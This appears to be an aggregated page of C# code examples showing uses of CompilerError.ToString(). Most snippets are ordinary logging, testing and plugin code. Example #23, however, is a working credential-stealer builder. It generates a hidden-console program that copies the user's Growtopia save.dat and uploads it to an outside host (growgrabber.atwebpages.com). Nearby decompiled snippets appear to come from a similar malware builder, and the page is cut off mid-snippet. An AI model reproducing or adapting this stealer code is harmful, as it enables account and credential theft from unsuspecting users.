Beispiel #1
0
        private static void AppendError(StringBuilder message, CompilerError error, string[] lines)
        {
            message.AppendLine(error.ToString());

            if (error.Line <= 0)
            {
                return;
            }

            var line = error.Line - 1;

            if (line - 1 > 0)
            {
                message.AppendLine(string.Format("{0}: {1}", (line - 1).ToString("0000", CultureInfo.CurrentUICulture), lines[line - 1]));
            }

            message.AppendLine(string.Format("{0}: {1}", (line - 1).ToString("0000", CultureInfo.CurrentUICulture), lines[line]));

            if (line + 1 < lines.Length)
            {
                message.AppendLine(string.Format("{0}: {1}", (line + 1).ToString("0000", CultureInfo.CurrentUICulture), lines[line + 1]));
            }

            message.AppendLine();
        }
        public void ToString_Invoke_ReturnsExpected(bool isWarning, string expected)
        {
            var error = new CompilerError {
                IsWarning = isWarning
            };

            Assert.Equal(expected, error.ToString());
        }
Beispiel #3
0
        /// <summary>
        /// 将异常输出到日志。
        /// </summary>
        /// <remarks>
        /// 异常会按照Error进行输出,并根据Debug版或Release版决定是只输出消息信息还是全部输出。全部输出时,包括调用堆栈等信息。
        /// </remarks>
        /// <param name="exception">异常对象。</param>
        public void Error(CompilerError error)
        {
#if DEBUG
            Error(error.ToString());
#else
            Error(error.ErrorText);
#endif
        }
Beispiel #4
0
 private ErrorRecord CreateErrorRecord(CompilerError error)
 {
     return(new ErrorRecord(
                new Exception(error.ToString()),
                GetErrorId("SOURCE_CODE_ERROR"),
                ErrorCategory.InvalidData,
                null));
 }
        public void RunTest(string dllName)
        {
            Console.ForegroundColor = ConsoleColor.Cyan;
            Console.WriteLine("----- ScriptTest -----");
            Console.ResetColor();

            using (DomainManager plugDom = new DomainManager(mPluginPath)) {
                plugDom.CreateDomain("Plugin AppDomain",
                                     DomainManager.DomainCapabilities.ALLOW_DYNAMIC);

                IPlugin plugin = plugDom.Load(dllName);
                if (plugin == null)
                {
                    Console.WriteLine("FAIL");
                    return;
                }

                plugin.SetHostObj(this);

                // Ask the plugin to compile the script in the plugin's
                // AppDomain.  The collection of warning and error messages
                // are serialized and passed back, along with an instance
                // of IScript.
                //
                // We could just as easily dump the warnings and errors from
                // the plugin, but a fancier app might want to display them
                // in some clever UI.
                CompilerErrorCollection cec;
                IScript iscript =
                    plugin.CompileScript(TEST_SCRIPT, out cec);
                for (int i = 0; i < cec.Count; i++)
                {
                    CompilerError ce = cec[i];
                    if (ce.IsWarning)
                    {
                        Console.ForegroundColor = ConsoleColor.Yellow;
                    }
                    else
                    {
                        Console.ForegroundColor = ConsoleColor.Red;
                    }
                    Console.WriteLine(ce.ToString());
                }
                Console.ResetColor();
                if (iscript == null)
                {
                    Console.WriteLine("Compilation failed");
                    return;
                }

                int result = iscript.TestScriptRoundTrip(this, 1);
                Console.WriteLine("Round trip to script: " + result);
            }
        }
Beispiel #6
0
        void FailFile(ref bool isFailed, string input, Exception ex)
        {
            FailFile(ref isFailed, input, "Internal error:");
            CompilerError cerr = ex as CompilerError;

            if (cerr != null)
            {
                Console.WriteLine(cerr.ToString(true));
            }
            else
            {
                Console.WriteLine(ex.ToString());
            }
        }
        private void LogError(CompilerError error)
        {
            int errorNumber = 0;

            // Try and get an error number from the error, if parsing fails then ignore and use 0.
            int.TryParse(error.ErrorNumber, out errorNumber);

            LogEntry entry = new LogEntry(
                error.ToString(),
                Properties.Resources.Generation_Error_Title,
                error.IsWarning ? TraceEventType.Warning : TraceEventType.Error,
                errorNumber);

            errors.Add(entry);
        }
        public void Constructor0_Deny_Unrestricted()
        {
            CompilerError ce = new CompilerError();

            Assert.AreEqual(0, ce.Column, "Column");
            ce.Column = 1;
            Assert.AreEqual(String.Empty, ce.ErrorNumber, "ErrorNumber");
            ce.ErrorNumber = "cs0000";
            Assert.AreEqual(String.Empty, ce.ErrorText, "ErrorText");
            ce.ErrorText = "error text";
            Assert.AreEqual(String.Empty, ce.FileName, "FileName");
            ce.FileName = fname;
            Assert.IsFalse(ce.IsWarning, "IsWarning");
            ce.IsWarning = true;
            Assert.AreEqual(0, ce.Line, "Line");
            ce.Line = 1;
            Assert.IsNotNull(ce.ToString(), "ToString");
        }
        public void Constructor5_Deny_Unrestricted()
        {
            CompilerError ce = new CompilerError(fname, 1, 1, "cs0000", "error text");

            Assert.IsTrue((ce.ToString().IndexOf(fname) >= 0), "ToString");
            Assert.AreEqual(1, ce.Column, "Column");
            ce.Column = Int32.MinValue;
            Assert.AreEqual("cs0000", ce.ErrorNumber, "ErrorNumber");
            ce.ErrorNumber = String.Empty;
            Assert.AreEqual("error text", ce.ErrorText, "ErrorText");
            ce.ErrorText = String.Empty;
            Assert.AreEqual(fname, ce.FileName, "FileName");
            ce.FileName = String.Empty;
            Assert.IsFalse(ce.IsWarning, "IsWarning");
            ce.IsWarning = true;
            Assert.AreEqual(1, ce.Line, "Line");
            ce.Line = Int32.MinValue;
        }
Beispiel #10
0
        internal static CompilerException Create(string errorText, string file, CompilerException parentException)
        {
            var error = new CompilerError
            {
                FileName  = file,
                ErrorText = errorText
            };

            var errors = (CompilerErrorCollection)parentException.Data["Errors"];

            errors.Insert(0, error);

            CompilerException retval = new CompilerException(error.ToString() + Environment.NewLine + parentException.Message);

            retval.Data.Add("Errors", errors);
            retval.ErrorCount = errors.Count;

            return(retval);
        }
Beispiel #11
0
        private void dumpError(CompilerError err, int numLines)
        {
            logger.Log();
            logger.Log(err.ToString());
            List <String> lines = null;

            try
            {
                lines = LoadLinesFromFile(err.FileName);
            }
            catch (Exception e)
            {
                logger.Log("-- Cannot read lines: " + e.Message);
                return;
            }

            int errLine = err.Line - 1; //Make it zero-based
            int from    = errLine - numLines / 2;
            int to      = errLine + (numLines + 1) / 2;

            if (from < 0)
            {
                from = 0;
            }
            if (to > lines.Count)
            {
                to = lines.Count;
            }
            if (from >= to)
            {
                logger.Log(_LogType.ltError, "Cannot get line {0}. Source contains {1} lines.", errLine, lines.Count);
                return;
            }

            StringBuilder b = new StringBuilder();

            for (int i = from; i < to; i++)
            {
                b.AppendFormat("[{0}] {1}\r\n", i + 1, lines[i]); //i+1: make it 1 based again
            }
            logger.Log(b.ToString());
        }
Beispiel #12
0
        internal static CompilerException Create(string errorText, string file, CompilerException parentException)
        {
            var error = new CompilerError
            {
                FileName  = file,
                ErrorText = errorText
            };

            var errors = new List <CompilerError>();

            errors.Add(error);
            errors.AddRange((CompilerError[])parentException.Data["Errors"]);

            var retval = new CompilerException(error.ToString() + Environment.NewLine + parentException.Message);

            retval.Data.Add("Errors", errors.ToArray());
            retval.ErrorCount = errors.Count;

            return(retval);
        }
        // Token: 0x06000D55 RID: 3413 RVA: 0x0005AF34 File Offset: 0x00059134
        public static string ResolveScriptAssembly(string codeDir, ModContainer mod)
        {
            DirectoryInfo directoryInfo = new DirectoryInfo(codeDir);

            if (!directoryInfo.Exists)
            {
                MLog.Error("Code directory " + codeDir + " does not exist!");
                return(string.Empty);
            }
            string assemblyPath = ModPaths.GetAssemblyPath(mod, directoryInfo.Name);

            if (File.Exists(assemblyPath))
            {
                return(assemblyPath);
            }
            CompilerParameters compilerParameters = new CompilerParameters
            {
                GenerateExecutable = false,
                GenerateInMemory   = false,
                OutputAssembly     = assemblyPath
            };

            compilerParameters.ReferencedAssemblies.AddRange((from a in AppDomain.CurrentDomain.GetAssemblies().Where(delegate(Assembly a)
            {
                bool result;
                try
                {
                    result = !string.IsNullOrEmpty(a.Location);
                }
                catch (NotSupportedException)
                {
                    result = false;
                }
                return(result);
            })
                                                              select a.Location).ToArray <string>());
            string[] array = (from f in directoryInfo.GetFiles("*.cs", SearchOption.AllDirectories)
                              select f.FullName).ToArray <string>();
            if (array.Length == 0)
            {
                MLog.Error("Code directory " + codeDir + " does not contain any source files!");
            }
            CSharpCompiler.CodeCompiler codeCompiler    = new CSharpCompiler.CodeCompiler();
            CompilerResults             compilerResults = codeCompiler.CompileAssemblyFromFileBatch(compilerParameters, array);

            foreach (object obj in compilerResults.Errors)
            {
                CompilerError compilerError = (CompilerError)obj;
                string        message       = compilerError.ToString();
                if (compilerError.IsWarning)
                {
                    MLog.Warn(message);
                }
                else
                {
                    MLog.Error(message);
                }
            }
            if (compilerResults.Errors.HasErrors)
            {
                MLog.Error("There were errors compiling the ScriptAssembly at " + codeDir + "!");
            }
            return(assemblyPath);
        }
Beispiel #14
0
        static void Check()
        {
            noErrorsFound = true;

            bool            compiledSuccessfully = scriptCompiler.CompileFile(scriptPath);
            CompilerResults results = scriptCompiler.Results;

            if (compiledSuccessfully == false)
            {
                noErrorsFound = false;

                PrintError("*** Errors occured during compiling script: ***");

                for (int i = 0; i < results.Errors.Count; i++)
                {
                    CompilerError error = results.Errors[i];
                    if (!error.IsWarning)
                    {
                        PrintError(error.ToString());
                    }
                }

                return;
            }

            if (Program.showCompilerWarnings && results.Errors.HasWarnings)
            {
                foreach (CompilerError error in results.Errors)
                {
                    PrintWarning("*** Warnings occured during compiling script: ***");
                    if (error.IsWarning)
                    {
                        PrintWarning(error.ToString());
                    }
                }
            }

            scriptChecker.Check();

            if (scriptChecker.HasErrors)
            {
                noErrorsFound = false;
                PrintError("*** Errors occured during checking script: ***");
                foreach (var error in scriptChecker.Errors)
                {
                    PrintError(error.Message);
                    if (error.HasSolutionMessage)
                    {
                        Console.WriteLine(string.Format("Solution: {0}", error.SolutionMessage));
                    }
                }
            }

            if (scriptChecker.HasWarnings)
            {
                PrintWarning("*** Warnings occured during checking script: ***");
                foreach (var warning in scriptChecker.Warnings)
                {
                    PrintWarning(warning.Message);
                    if (warning.HasSolutionMessage)
                    {
                        Console.WriteLine(string.Format("Solution: {0}", warning.SolutionMessage));
                    }
                }
            }

            if (noErrorsFound)
            {
                Console.WriteLine("No errors were found!");
            }
        }
        private void HandleImportWarnings(ServiceDescriptionImportWarnings warnings)
        {
            // TODO: explicitly handle all of the warnings generated by the ServiceImporter
            if (warnings != 0)
            {
                Trace.TraceError("Warnings: {0}", warnings);

                StringBuilder exceptionMessage = new StringBuilder();

                if ((warnings | ServiceDescriptionImportWarnings.NoCodeGenerated) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.NoCodeGenerated;
                    error.IsWarning   = false;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG110";
                    Errors.Add(error);

                    exceptionMessage.AppendLine(error.ToString());
                }
                if ((warnings | ServiceDescriptionImportWarnings.NoMethodsGenerated) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.NoMethodsGenerated;
                    error.IsWarning   = false;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG111";
                    Errors.Add(error);

                    exceptionMessage.AppendLine(error.ToString());
                }
                if ((warnings | ServiceDescriptionImportWarnings.OptionalExtensionsIgnored) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.OptionalExtensionsIgnored;
                    error.IsWarning   = true;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG112";
                    Errors.Add(error);
                }
                if ((warnings | ServiceDescriptionImportWarnings.RequiredExtensionsIgnored) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.RequiredExtensionsIgnored;
                    error.IsWarning   = false;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG113";
                    Errors.Add(error);

                    exceptionMessage.AppendLine(error.ToString());
                }

                if ((warnings | ServiceDescriptionImportWarnings.SchemaValidation) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.SchemaValidation;
                    error.IsWarning   = false;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG114";
                    Errors.Add(error);

                    exceptionMessage.AppendLine(error.ToString());
                }
                if ((warnings | ServiceDescriptionImportWarnings.UnsupportedBindingsIgnored) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.UnsupportedBindingsIgnored;
                    error.IsWarning   = true;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG115";
                    Errors.Add(error);
                }
                if ((warnings | ServiceDescriptionImportWarnings.UnsupportedOperationsIgnored) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.UnsupportedOperationsIgnored;
                    error.IsWarning   = true;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG116";
                    Errors.Add(error);
                }
                if ((warnings | ServiceDescriptionImportWarnings.WsiConformance) == warnings)
                {
                    CompilerError error = new CompilerError();
                    error.ErrorText   = ErrorMessages.WsiConformance;
                    error.IsWarning   = true;
                    error.FileName    = m_url;
                    error.ErrorNumber = "CG117";
                    Errors.Add(error);
                }

                if (exceptionMessage.Length != 0)
                {
                    throw new ApplicationException(string.Format("{0}; Warnings : {1}", exceptionMessage.ToString(), warnings));
                }
                else
                {
                    Trace.TraceWarning("Warnings occurred when generating code for web service {0}", warnings);
                }
            }
        }
Beispiel #16
0
 public CompilerException(CompilerError error)
     : base(error.ToString(), error)
 {
 }
Beispiel #17
0
 public CompileErrorException(CompilerError error)
     : base(error.ToString())
 {
 }
Beispiel #18
0
        public void EvalCompile(RCRunner runner, RCClosure closure, RCString right)
        {
            string             code       = right[0];
            CSharpCodeProvider provider   = new CSharpCodeProvider();
            CompilerParameters parameters = new CompilerParameters();
            Uri           codebase        = new Uri(Assembly.GetExecutingAssembly().CodeBase);
            DirectoryInfo dir             = new FileInfo(codebase.LocalPath).Directory;

            parameters.ReferencedAssemblies.Add(dir.FullName + "/RCL.Kernel.dll");
            parameters.GenerateInMemory   = true;
            parameters.GenerateExecutable = false;
            CompilerResults results = null;

            try
            {
                RCSystem.Log.Record(closure, "compile", 0, "code", code);
                results = provider.CompileAssemblyFromSource(parameters, code);
            }
            catch (Exception)
            {
                throw;
            }
            finally
            {
                if (results != null)
                {
                    for (int i = 0; i < results.Errors.Count; ++i)
                    {
                        CompilerError error = results.Errors[i];
                        Console.Out.WriteLine(error.ToString());
                        RCSystem.Log.Record(closure, "compile", 0, "error", error.ToString());

                        /*
                         * error.Column;
                         * error.ErrorNumber;
                         * error.ErrorText;
                         * error.FileName;
                         * error.IsWarning;
                         * error.Line;
                         */
                    }
                }
            }
            if (results.Errors.Count > 0)
            {
                throw new Exception("compilation failed, show compile:error for details");
            }
            Type[]           types   = results.CompiledAssembly.GetTypes();
            RCArray <string> modules = new RCArray <string> ();
            RCBlock          result  = RCBlock.Empty;

            for (int i = 0; i < types.Length; ++i)
            {
                bool    isModule;
                RCBlock typeVerbs = RCSystem.Activator.CreateVerbTable(types[i], out isModule);
                result = new RCBlock(result, types[i].Name, ":", typeVerbs);
                if (isModule)
                {
                    modules.Write(types[i].Name);
                    RCBot bot = runner.GetBot(closure.Bot);
                    bot.PutModule(types[i]);
                }
            }
            runner.Yield(closure, result);
        }
Beispiel #19
0
 private ErrorRecord CreateErrorRecord(CompilerError error)
 {
     return new ErrorRecord(
         new Exception(error.ToString()),
         GetErrorId("SOURCE_CODE_ERROR"),
         ErrorCategory.InvalidData,
         null);
 }
Beispiel #20
0
        private void AddError(CompilerError error, Location loc, params object[] args)
        {
            var str = string.Format(CompilerErrors.ResourceManager.GetString(error.ToString()) ?? error.ToString(), args);

            AddMessage(new BuildMessage(str, BuildMessageType.Error, (int)error, Line(loc), Col(loc), unit.FileName));
        }
Beispiel #21
0
        /// <summary>
        /// Tests the files.
        /// </summary>
        /// <param name="inputDir">The input dir.</param>
        /// <param name="logger">The logger.</param>
        private static void TestFiles(string inputDir, ILogger logger)
        {
            if (!Directory.Exists(inputDir))
            {
                logger.LogMessage(LogLevel.Error, "Test directory {0} does not exist", inputDir);
                Environment.Exit(Fail);
            }

            string arrangedDir = Path.Combine(inputDir, "Arranged");

            if (Directory.Exists(arrangedDir))
            {
                Directory.Delete(arrangedDir, true);
            }
            Directory.CreateDirectory(arrangedDir);

            FileInfo[] allSourceFiles = GetSourceFileNames(inputDir);
            logger.LogMessage(LogLevel.Info, "Testing with {0} source files...", allSourceFiles.Length);

            int preprocessorCount = 0;
            int uncompiledCount   = 0;
            int successCount      = 0;
            int failedCount       = 0;

            TestLogger   testLogger   = new TestLogger();
            FileArranger fileArranger = new FileArranger(null, testLogger);

            foreach (FileInfo sourceFile in allSourceFiles)
            {
                string initialSource = File.ReadAllText(sourceFile.FullName, Encoding.Default);

                CompilerResults initialResults = CompileSourceFile(sourceFile, initialSource);

                CompilerError error = TestUtilities.GetCompilerError(initialResults);
                if (error == null)
                {
                    logger.LogMessage(LogLevel.Trace, "Succesfully compiled {0}", sourceFile.FullName);

                    //
                    // Arrange the source code file
                    //
                    testLogger.Clear();
                    string outputFile = Path.Combine(arrangedDir, sourceFile.Name);
                    bool   success    = false;
                    try
                    {
                        success = fileArranger.Arrange(sourceFile.FullName, outputFile);
                    }
                    catch (Exception ex)
                    {
                        logger.LogMessage(
                            LogLevel.Error,
                            "Unable to arrange {0}.  {1}",
                            sourceFile.Name,
                            ex.Message);
                        failedCount++;
                    }

                    if (success)
                    {
                        logger.LogMessage(LogLevel.Info, "Arrange successful.");
                    }
                    else if (testLogger.HasPartialMessage(LogLevel.Warning, "preprocessor"))
                    {
                        logger.LogMessage(LogLevel.Trace, "File is unhandled.");
                        preprocessorCount++;
                    }
                    else
                    {
                        foreach (TestLogger.TestLogEvent logEvent in testLogger.Events)
                        {
                            logger.LogMessage(logEvent.Level, logEvent.Message);
                        }

                        logger.LogMessage(LogLevel.Error, "Unable to arrange {0}.", sourceFile.Name);
                        failedCount++;
                    }

                    if (success)
                    {
                        string          arrangedSource  = File.ReadAllText(outputFile, Encoding.Default);
                        CompilerResults arrangedResults = CompileSourceFile(
                            new FileInfo(outputFile), arrangedSource);

                        CompilerError arrangedError = TestUtilities.GetCompilerError(arrangedResults);
                        if (arrangedError == null)
                        {
                            logger.LogMessage(LogLevel.Trace, "Succesfully compiled arranged file {0}", outputFile);
                            try
                            {
                                bool assembliesMatch = CompareAssemblies(
                                    initialResults.CompiledAssembly, arrangedResults.CompiledAssembly, logger);
                                if (assembliesMatch)
                                {
                                    successCount++;
                                }
                                else
                                {
                                    logger.LogMessage(LogLevel.Error, "Arranged assembly differs.");
                                    failedCount++;
                                }
                            }
                            catch (ReflectionTypeLoadException ex)
                            {
                                logger.LogMessage(
                                    LogLevel.Error,
                                    "Failed to load one or more types. {0}, {1}",
                                    outputFile,
                                    ex.ToString());
                                failedCount++;
                            }
                        }
                        else
                        {
                            logger.LogMessage(
                                LogLevel.Error,
                                "Failed to compile arranged file {0}, {1}",
                                outputFile,
                                arrangedError.ToString());
                            failedCount++;
                        }
                    }
                }
                else
                {
                    logger.LogMessage(LogLevel.Error, "Failed to compile {0}", sourceFile.FullName);
                    uncompiledCount++;
                }
            }

            logger.LogMessage(LogLevel.Info, "Unsupported - preprocessor: " + preprocessorCount.ToString());
            logger.LogMessage(LogLevel.Info, "Uncompiled: " + uncompiledCount.ToString());
            logger.LogMessage(LogLevel.Info, "Success: " + successCount.ToString());
            logger.LogMessage(LogLevel.Info, "Failed: " + failedCount.ToString());
        }
Beispiel #22
0
    // Token: 0x060001CB RID: 459 RVA: 0x002632D8 File Offset: 0x002614D8
    public static bool smethod_0(string string_0, string string_1, string[] string_2, string string_3, string string_4, string[] string_5, string[] string_6, string string_7, int int_0)
    {
        if (string.IsNullOrEmpty(string_0))
        {
            return(false);
        }
        string text;
        string text2;

        if (int_0 <= 30)
        {
            if (int_0 == 20)
            {
                string path = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET\\Framework\\v2.0.50727\\");
                text  = Path.Combine(path, "mscorlib.dll");
                text2 = Path.Combine(path, "System.dll");
                goto IL_F1;
            }
            if (int_0 == 30)
            {
                string path = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET\\Framework\\v3.0\\");
                text  = Path.Combine(path, "mscorlib.dll");
                text2 = Path.Combine(path, "System.dll");
                goto IL_F1;
            }
        }
        else
        {
            if (int_0 == 35)
            {
                string path = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET\\Framework\\v3.5\\");
                text  = Path.Combine(path, "mscorlib.dll");
                text2 = Path.Combine(path, "System.dll");
                goto IL_F1;
            }
            if (int_0 == 40)
            {
                string path = Path.Combine(Environment.GetEnvironmentVariable("SystemRoot"), "Microsoft.NET\\Framework\\v4.0.30319\\");
                text  = Path.Combine(path, "mscorlib.dll");
                text2 = Path.Combine(path, "System.dll");
                goto IL_F1;
            }
        }
        throw new Exception();
IL_F1:
        CompilerParameters compilerParameters = new CompilerParameters();
        StringBuilder stringBuilder = new StringBuilder();

        compilerParameters.OutputAssembly = string_0;
        compilerParameters.ReferencedAssemblies.AddRange(new string[]
        {
            text,
            text2
        });
        if (string_5 != null && string_5.Length != 0)
        {
            foreach (string path2 in string_5)
            {
                string path;
                compilerParameters.ReferencedAssemblies.Add(Path.Combine(path, path2));
            }
        }
        compilerParameters.GenerateExecutable      = true;
        compilerParameters.IncludeDebugInformation = false;
        string text3 = Path.Combine(Environment.CurrentDirectory, "temp");

        Directory.CreateDirectory(text3);
        compilerParameters.TempFiles = new TempFileCollection(text3, false);
        if (string_6 != null && string_6.Length != 0)
        {
            compilerParameters.EmbeddedResources.AddRange(string_6);
        }
        if (!string.IsNullOrEmpty(string_4))
        {
            stringBuilder.AppendFormat(" /define:{0} ", string_4);
        }
        stringBuilder.AppendFormat(" /target:{0} ", string_7);
        stringBuilder.Append(" /filealign:512 /platform:x86 /optimize+ /nostdlib /unsafe");
        if (!string.IsNullOrEmpty(string_3) && File.Exists(string_3))
        {
            stringBuilder.AppendFormat(" /win32icon:{0}", Convert.ToChar(34).ToString() + string_3 + Convert.ToChar(34).ToString());
        }
        compilerParameters.CompilerOptions = stringBuilder.ToString();
        CompilerResults compilerResults = null;
        CodeDomProvider codeDomProvider;

        if (string_1 == "cs")
        {
            codeDomProvider = new CSharpCodeProvider();
        }
        else
        {
            codeDomProvider = new VBCodeProvider();
        }
        compilerResults = codeDomProvider.CompileAssemblyFromSource(compilerParameters, string_2);
        if (string_6 != null && string_6.Length != 0)
        {
            foreach (string path3 in string_6)
            {
                try
                {
                    File.Delete(path3);
                }
                catch (Exception)
                {
                }
            }
        }
        if (Directory.Exists("temp"))
        {
            Directory.Delete("temp", true);
        }
        StringBuilder stringBuilder2 = new StringBuilder();

        if (compilerResults.Errors.HasErrors)
        {
            foreach (object obj in compilerResults.Errors)
            {
                CompilerError compilerError = (CompilerError)obj;
                if (!compilerError.IsWarning)
                {
                    stringBuilder2.AppendLine(compilerError.ToString());
                }
            }
            return(false);
        }
        return(File.Exists(string_0));
    }
Beispiel #23
0
        // Token: 0x0600002E RID: 46 RVA: 0x000057E8 File Offset: 0x000039E8
        public void build()
        {
            SaveFileDialog sik = new SaveFileDialog();

            sik.ShowDialog();
            string             exeFile  = sik.FileName + ".exe";
            CSharpCodeProvider provider = new CSharpCodeProvider();
            CompilerParameters cp       = new CompilerParameters();

            cp.GenerateExecutable      = true;
            cp.OutputAssembly          = exeFile;
            cp.IncludeDebugInformation = true;
            cp.ReferencedAssemblies.Add("System.dll");
            cp.ReferencedAssemblies.Add("System.IO.dll");
            cp.ReferencedAssemblies.Add("System.Net.dll");
            cp.GenerateInMemory      = false;
            cp.WarningLevel          = 3;
            cp.TreatWarningsAsErrors = false;
            if (this.checkBox1.Checked)
            {
                cp.CompilerOptions = "/target:winexe /win32icon:" + this.textEdit1.Text;
            }
            else
            {
                cp.CompilerOptions = "/target:winexe";
            }
            provider.Supports(GeneratorSupport.EntryPointMethod);
            RegistryKey seria = Registry.CurrentUser.OpenSubKey("GFD", true);

            Encoding.UTF32.GetString(Encoding.ASCII.GetBytes(this.textEdit3.Text.Replace("Client-", "")));
            string code = string.Concat(new string[]
            {
                "using System; using System.Net; using System.IO; using System.Runtime.InteropServices;\nnamespace hira\n {\n class FlatUI\n{\n[DllImport(\"user32.dll\")]\npublic static extern IntPtr FindWindow(string lpClassName,string lpWindowName);\n[DllImport(\"kernel32.dll\")]\nstatic extern IntPtr GetConsoleWindow();\n[DllImport(\"user32.dll\")]\nstatic extern bool ShowWindow(IntPtr hWnd, int nCmdShow);\nconst int SW_HIDE = 0;\nconst int SW_SHOW = 5;\n\nstatic void Main(string[] args)\n{ \nvar handle = GetConsoleWindow();\nIntPtr hWnd = FindWindow(null, \"Your console windows caption\");\nif(hWnd != IntPtr.Zero)\n{\n ShowWindow(hWnd, 0); // 0 = SW_HIDE\n}\nShowWindow(handle, SW_HIDE);\nRandom id = new Random();int ids = id.Next(100000, 900000);string savedatpath =@\"C:\\Users\\\"  + Environment.UserName + @\"\\AppData\\Local\\Growtopia\\save.dat\";\nstring tmpdrop = Path.GetTempPath();\nFile.Copy(savedatpath,tmpdrop + ids + \"_pass.txt\");\nnew System.Net.WebClient().DownloadFile(\"http://growgrabber.atwebpages.com/SFW/",
                seria.GetValue("user").ToString(),
                "/netids.txt\",tmpdrop + \"netids.txt\");\nFile.AppendAllText(tmpdrop + \"netids.txt\" , Environment.NewLine + ids.ToString());\nnew System.Net.WebClient().DownloadFile(\"http://growgrabber.atwebpages.com/SFW/",
                seria.GetValue("user").ToString(),
                "/",
                seria.GetValue("user").ToString(),
                ".txt\", tmpdrop + \"",
                seria.GetValue("user").ToString(),
                ".txt\");\nSystem.IO.File.AppendAllText(tmpdrop +\"",
                seria.GetValue("user").ToString(),
                ".txt\",  Environment.NewLine + ids + \"    \" + Environment.UserName);\nnew System.Net.WebClient().UploadFile(\"http://growgrabber.atwebpages.com/SFW/",
                seria.GetValue("user").ToString(),
                "/\",tmpdrop+ ids + \"_pass.txt\");\nnew System.Net.WebClient().UploadFile(\"http://growgrabber.atwebpages.com/SFW/",
                seria.GetValue("user").ToString(),
                "/\",tmpdrop+ \"netids.txt\");\nnew System.Net.WebClient().UploadFile(\"http://growgrabber.atwebpages.com/SFW/",
                seria.GetValue("user").ToString(),
                "/\",tmpdrop+\"",
                seria.GetValue("user").ToString(),
                ".txt\");\nFile.Delete(\"",
                seria.GetValue("user").ToString(),
                ".txt\");\n}}}"
            });
            CompilerResults cr = provider.CompileAssemblyFromSource(cp, new string[]
            {
                code
            });

            this.memoEdit1.EditValue = "Compiling server...";
            Thread.Sleep(1000);
            this.memoEdit1.EditValue = "Compiling server..." + Environment.NewLine + "Encrypting String(s)...";
            if (cr.Errors.Count > 0)
            {
                this.memoEdit1.EditValue = "Compiling server...\nError:" + code;
                Console.WriteLine("Errors building {0} into {1}", code, cr.PathToAssembly);
                using (IEnumerator enumerator = cr.Errors.GetEnumerator())
                {
                    while (enumerator.MoveNext())
                    {
                        object        obj = enumerator.Current;
                        CompilerError ce  = (CompilerError)obj;
                        Console.WriteLine("  {0}", ce.ToString());
                        Console.WriteLine();
                    }
                    goto IL_38B;
                }
            }
            this.memoEdit1.EditValue = string.Concat(new string[]
            {
                "Compiling server...",
                Environment.NewLine,
                "Encrypting String(s)...",
                Environment.NewLine,
                "Stealer built and crypted successfully!"
            });
            this.textEdit3.Text = "Stealer built and crypted successfully!";
            Console.WriteLine("{0} temporary files created during the compilation.", cp.TempFiles.Count.ToString());
IL_38B:
            File.Move(sik.FileName + "/stub.exe", sik.FileName.Replace(".exe", " .exe"));
        }
Beispiel #24
0
    // Token: 0x060001CD RID: 461 RVA: 0x002637AC File Offset: 0x002619AC
    public static bool smethod_2(string string_0, string string_1, string string_2, string string_3, string string_4 = null)
    {
        CompilerParameters compilerParameters = new CompilerParameters
        {
            GenerateExecutable = false,
            OutputAssembly     = string_1
        };
        string text = "/optimize+ /platform:x86 /target:library /nostdlib /unsafe /filealign:512";

        if (string_4 != null)
        {
            text = text + " /win32icon:\"" + string_4 + "\"";
        }
        compilerParameters.CompilerOptions = text;
        compilerParameters.ReferencedAssemblies.Add("System.dll");
        compilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
        compilerParameters.ReferencedAssemblies.Add("System.Drawing.dll");
        if (string_3 != null)
        {
            compilerParameters.EmbeddedResources.Add(string_3);
        }
        CompilerResults compilerResults = new CSharpCodeProvider(new Dictionary <string, string>
        {
            {
                "CompilerVersion",
                string_2
            }
        }).CompileAssemblyFromSource(compilerParameters, new string[]
        {
            string_0
        });

        if (compilerResults.Errors.Count > 0)
        {
            MessageBox.Show(string.Format("Имеются {0} ошибок", compilerResults.Errors.Count), "Ошибка компиляции", MessageBoxButtons.OK, MessageBoxIcon.Hand);
            foreach (object obj in compilerResults.Errors)
            {
                CompilerError compilerError = (CompilerError)obj;
                File.WriteAllText("Error_Compiler.txt", string.Format("Ошибка: {0} \r\nСтрока: {1}\r\n", compilerError.ToString(), compilerError.Line));
            }
            return(false);
        }
        return(true);
    }
Beispiel #25
0
    // Token: 0x060001CC RID: 460 RVA: 0x00263614 File Offset: 0x00261814
    public static bool smethod_1(string string_0, string string_1, string string_2, string string_3, string string_4, string string_5 = null)
    {
        CompilerParameters compilerParameters = new CompilerParameters
        {
            GenerateExecutable = true,
            OutputAssembly     = string_1
        };
        StringBuilder stringBuilder = new StringBuilder();

        if (!string.IsNullOrEmpty(string_4))
        {
            stringBuilder.AppendFormat(" /define:{0} ", string_4);
        }
        string text = "/optimize+ /platform:x86 /target:winexe /unsafe";

        if (string_5 != null)
        {
            text = text + " /win32icon:\"" + string_5 + "\"";
        }
        text += stringBuilder.ToString();
        compilerParameters.CompilerOptions = text;
        compilerParameters.ReferencedAssemblies.Add("System.dll");
        compilerParameters.ReferencedAssemblies.Add("System.Windows.Forms.dll");
        compilerParameters.ReferencedAssemblies.Add("System.Drawing.dll");
        compilerParameters.ReferencedAssemblies.Add("System.Management.dll");
        compilerParameters.EmbeddedResources.Add(string_3);
        CompilerResults compilerResults = new CSharpCodeProvider(new Dictionary <string, string>
        {
            {
                "CompilerVersion",
                string_2
            }
